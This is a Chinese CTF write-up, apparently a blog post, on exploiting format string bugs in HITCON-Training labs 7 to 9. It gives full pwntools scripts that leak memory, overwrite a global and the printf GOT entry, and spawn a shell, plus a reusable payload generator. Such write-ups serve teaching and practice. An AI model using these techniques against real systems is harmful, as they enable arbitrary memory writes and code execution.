HITCON-Tranning-Master lab7 - lab9

最近在看格式化字符串漏洞,就做了HITCON-Tranning-Master的lab7~lab9 这几题都是关于格式化字符串漏洞的利用的

lab7:

ida反编译

image.png

程序先是打开/dev/urandom 文件,从中取出四个字节作为password,然后要求我们输入name和password
后面有个判断语句 ,如果我们输入的password等于程序从urandom中读取的随机数,就执行system(cat flag)
可以发现它在第20行中存在格式化字符串漏洞,它将格式化字符串交给用户来输入
解题思路:
通过printf函数 将password给泄露出来 然后再输入

  1. 确定要泄露的地址
    通过ida查看password的地址
image.png
  1. 确定相对偏移
image.png

格式化字符串是函数的第11个参数 所以相对偏移offset=11-1=10

  1. 泄露password地址的内容
payload = p32(password) + "#" + "%10$s" + "#"
“#”是为了方便接收泄露的password

exp:

from pwn import*
context.log_level="debug"  
  
p = process('./crack')  
p.recv()  
payload= p32(0x0804a048) +"#"+"%10$s"+"#"   
p.send(payload)  
p.recvuntil("#")  
  
data=p.recvuntil("#")  
data=u32(data[:4])  
p.recv()  
p.send(str(data))  
p.interactive()

lab8 :

ida反编译

image.png

这道题考验我们利用格式化字符串漏洞改写任意地址的内容的能力
程序要求我们输入一串字符串 然后输出这串字符串
后面有一个判断语句 magic==218 和 magic == 0xfaceb00c都可以cat flag
先做将magic覆写为218的做法

  1. 确定magic地址
image.png
  1. 确定相对偏移


    image.png

相对偏移为7

payload = p32(magic_add) + "%214c" + "%7$n"
%214c 的作用是输出214个字符

然后做将magic覆写为0xfaceb00c的做法
因为这个转换成数字太大了 ,会超出程序的内存 ,所以不能像之前的那样直接覆写
要借助 格式化字符串的标志 hh 和h

hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h  对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
“%hhn"可以向地址写入一个字节的内容  "%hn"可以向地址写入两个字节的内容

在这里我用的是hhn
因为数据在内存中是按小端存储的 ,所以向地址依次写入的内容是 \x0c \xb0 \xce \xfa

payload = p32(magic) + p32(magic+1) + p32(magic+2) + p32(magic+3)
payload +=paddnig1 + "%7$hhn" + padding2 + "%8hhn" + padding3 + "%9$hhn" + padding4 + "%10$hhn"

padding可以手算也可以用脚本算

脚本为:

def fmt(prev,word,index):  
    payload = ''  
    if word > prev:  
        temp = word - prev  
        payload += '%' + str(temp) + 'c'  
    elif word == prev:  
        temp = 0  
    else:  
        temp = 256 + word - prev   
        payload += '%' + str(temp) + 'c'  
    payload += '%'+str(index)+ '$hhn'  
      
    return payload  
  
def fmt_start(address,offset,target,size,):  
    payload=''  
    if size == 4:  
        for i in range(4):  
            payload += p32(address+i)  
    else:  
        for i in range(4):  
            payload += p64(address+i)  
  
    prev = len(payload)  
    for i in range(4):  
        payload += fmt(prev,(target>>8*i)&0xff,offset+i)  
        prev = (target >> 8*i)&0xff  
    return payload    

address是我们要覆写的地址 ,offset是相对偏移 ,target是要覆写的值 ,size则表示机器字长
target>>8i的作用是去掉target最后2i位,&0xff的作用是取(target>>8*i)的最低两位
例如 target>>8 ==0xfaceb0 同时 (target>>8) &0xff == 0xb0

exp:

from pwn import*  
context.log_level = "debug"  
  
p = process('./craxme')  
  
magic = 0xfaceb00c  
target = 0x0804a038  
  
def fmt(prev,word,index):  
    payload = ''  
    if word > prev:  
        temp = word - prev  
        payload += '%' + str(temp) + 'c'  
    elif word == prev:  
        temp = 0  
    else:  
        temp = 256 + word - prev#this make sure the lowest 2 byte is word  
        payload += '%' + str(temp) + 'c'  
    payload += '%'+str(index)+ '$hhn'  
      
    return payload  
  
def fmt_start(address,offset,target,size,):  
    payload=''  
    if size == 4:  
        for i in range(4):  
            payload += p32(address+i)  
    else:  
        for i in range(4):  
            payload += p64(address+i)  
  
    prev = len(payload)  
    for i in range(4):  
        payload += fmt(prev,(target>>8*i)&0xff,offset+i)  
        prev = (target >> 8*i)&0xff  
    return payload    
s= fmt_start(0x0804a038,7,0xfaceb00c,4)  
p.recv()  
p.send(s)  
print p.recv()  
  
p.interactive()

lab9:

关键函数ida反汇编代码

image.png

很明显的一个格式化字符串漏洞
题目没有system函数 ,所以我们要做的是 获取system函数的地址 同时调用system来getshell,可以通过泄露printf_got的地址来获取libc在内存中的地址 计算出system函数的地址,然后将printf_got覆盖成system函数的地址 再传入"/bin/sh"来获取shell
但是这题和之前两题有点不同, 它的格式化字符串位于bss段上,不在栈上,所以不能通过上面的方法来泄露

这里我用的地址是:

image.png
ebp_1 = 0xffffcfc8 ebp_2=0xffffcfd8
fmt_7 = 0xffffcfcc fmt_11=0xffffcfdc
ebp_1的相对偏移为6 ebp_2的相对偏移为10

这里覆写地址内容主要用到的是 %hn 一次写入两个字节内容
解题思路:

  1. 通过ebp_1使ebp_2指向fmt_7
  2. 通过ebp_2将fmt_7处的内容覆盖成printf_got
  3. 通过ebp_1使ebp_2指向fmt_11
  4. 通过ebp_2将fmt_11处的内容修改成printf_got+2
  5. 通过fmt_7将printf_got地址泄露出来
  6. 计算出system函数的地址 ,将system函数地址写入printf在got表的地址 具体做法是将 system函数地址的前两个字节写入fmt_7,后两个字节写入 fmt_11
  7. 输入"/bin/sh"字符串调用system函数

exp:

from pwn import*  
context.log_level="debug"  
p = process('./playfmt')  
elf=ELF('./playfmt')  
lib = ELF('/lib/i386-linux-gnu/libc.so.6')  
  
system_lib = lib.symbols['system']  
printf_lib = lib.symbols['printf']  
printf_got = elf.got['printf']  
p.recv()  
  
log.info("**********leak printf_got************")  
payload = "%6$x"  
p.sendline(payload)  
  
ebp2_add = int(p.recv(),16)  
print ebp2_add  
ebp1_add = ebp2_add - 0x10  
fmt_7 = ebp2_add - 0xc  
fmt_11 = ebp2_add + 4  
log.info("printf_got --> [%s]"%hex(elf.got['printf']))  
log.info("ebp2_address --> [%s]"%hex(ebp2_add))  
log.info("fmt7_address --> [%s]"%hex(fmt_7))  
log.info("fmt11_address --> [%s]"%hex(fmt_11))  
  
  
payload = '%' + str(fmt_7&0xffff)+'c%6$hn'   
#ebp2_add --> fmt_7  
p.sendline(payload)  
p.recv()  
  
#fmt_7 --> printf_got  
payload = '%' + str(printf_got&0xffff) + 'c%10$hn\x00'  
p.sendline(payload)  
p.recv()  
  
while True:  
    p.send("zs0zrc\x00")  
    sleep(0.2)  
    data = p.recv()  
    if data.find("zs0zrc")!= -1:  
        break  
  
#ebp2_add --> fmt_11  
payload ='%' + str(fmt_11&0xffff) + 'c%6$hn\x00'  
p.sendline(payload)  
p.recv()  
  
  
#fmt_11 --> printf_got + 2   
payload = '%' + str((printf_got+2)&0xffff) + 'c%10$hn'  
p.send(payload)  
p.recv()  
  
while True:  
    p.send("zs0zrc\x00")  
    sleep(0.2)  
    data = p.recv()  
    if data.find("zs0zrc")!= -1:  
        break  
  
payload = 'aaaa%7$s\x00'  
p.send(payload)  
p.recvuntil("aaaa")  
printf_add = u32(p.recv(4))  
log.info("print_add --> [%s]"%hex(printf_add))  
system_add = printf_add - lib.symbols['printf'] + lib.symbols['system']  
  
pause()  
payload = "%" + str(system_add&0xffff) +"c%7$hn"  
payload +="%" + str((system_add>>16)-(system_add&0xffff))+"c%11$hn"  
p.sendline(payload)  
  
while True:  
    p.send("zs0zrc\x00")  
    sleep(0.2)  
    data = p.recv()  
    if data.find("zs0zrc")!= -1:  
        break  
p.send("/bin/sh\x00")  
p.interactive()

下面对脚本做点解释
因为pwntool的recv()函数一次最多接受0x1000字节的内容,用%hn这种方式会接收很多字符,单次肯定接收不完,
所以通过发送标志字符串 然后接收查看标志字符串的方式来检查是否接收完,不然的话会卡住

while True:  
    p.send("zs0zrc\x00")  
    sleep(0.2)  
    data = p.recv()  
    if data.find("zs0zrc")!= -1:  
        break  
image.png
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,907评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,987评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,298评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,586评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,633评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,488评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,275评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,176评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,619评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,819评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,932评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,655评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,265评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,871评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,994评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,095评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,884评论 2 354

推荐阅读更多精彩内容